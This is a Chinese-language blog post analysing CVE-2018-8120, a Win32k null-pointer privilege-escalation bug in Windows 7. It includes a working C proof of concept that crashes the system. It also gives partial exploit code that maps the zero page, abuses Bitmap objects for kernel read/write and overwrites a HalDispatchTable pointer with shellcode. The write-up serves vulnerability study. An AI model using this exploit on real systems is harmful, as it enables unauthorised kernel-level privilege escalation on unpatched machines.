CVE-2018-8120 Windows内核空指针解引用漏洞分析

参考:
https://www.freebuf.com/vuls/174183.html
https://www.freebuf.com/column/180215.html

漏洞名称:Windows 特权提升漏洞
漏洞编号: CVE-2018-8120
披露日期:2018-03-14

描述:当Win32k组件无法正确处理内存中的对象(也称为“ Win32k特权提升漏洞”)时,Windows中存在一个特权提升漏洞
影响版本:Windows Server 2008,Windows 7,Windows Server2008
漏洞成因:部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
漏洞函数位于win32k.sys模块的SetImeInfoEx() 函数, 该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。

使用CreateWindowStation() 新建的WindowStation对象其偏移0×14位置的spklList字段的值默认是零。
根据SetImeInfoEx()函数的流程,当WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常。

实验环境:Win7 Sp1 x32
在这里插入图片描述
550=0x226
系统调用编号=0x1000+0x226=0x1226

蓝屏代码:

#include<stdio.h>
#include<Windows.h>
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
	_asm
	{

		mov esi, tmp;
		mov eax, gSyscall;
		mov edx, 0x7FFE0300;
		call dword ptr[edx];
		ret 4;
	}
}

int main()
{
    // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );

    // 和窗口当前进程关联起来
    SetProcessWindowStation(hSta);

    char buf[0x4];
    memset(buf, 0x41, sizeof(buf));

    // WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
    NtUserSetImeInfoEx((PVOID)&buf);

    return 0;
}

在这里插入图片描述
原因出自win32k;
漏洞利用:
首先解决映射零页面问题
在这里插入图片描述
在这里插入图片描述
当分配0页内存后就不会蓝屏
零地址处的内存分页完成映射,则函数将继续执行。
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源属于用户可控内容(我们这里能做手脚的就是给NtUserSetImeInfoEx函数传入的参数)。如果拷贝目标可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限, 内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入(滥用Bitmap对象达到任意地址的读和写),则可以通过覆盖系统服务函数指针的方式, 实现任意代码执行。

加上以下代码后触发漏洞向0页写入Manager的pvScan0 Worker的pvScan0
在这里插入图片描述
在这里插入图片描述
然后获取到HaliQuerySystemInformation的地址(代码太长不贴)后再加上以下代码

SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //HaliQuerySystemInformation()函数地址放到Manager的地址

在这里插入图片描述
算了一个个贴太麻烦了 最后的利用

	_asm  int 3;
	SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //HaliQuerySystemInformation()函数地址放到Manager的地址
	_asm  int 3;
	GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); 
	_asm  int 3;
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc); //将shellcode放到的HaliQuerySystemInformation地址
	_asm  int 3;
	NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");

	if (!NtQueryIntervalProfile) {
		fflush(stdout);
		fflush(stderr);
		printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
		ExitProcess(2);
	}
	SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//善后工作

提权
在这里插入图片描述

exp:https://github.com/unamer/CVE-2018-8120
学习总结:
遇到空指针漏洞 分配0页内存解决验证
获取HalDispatchTable表的函数地址加载到模块根据系统版本来定 比如 是否多核是否 支持pae
利用漏洞和gdi泄露达到精准读写内存
另外不得不感叹下 前辈们的技术 这个exp着实让我受益匪浅 原来还可以这样写

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/105853037
今日推荐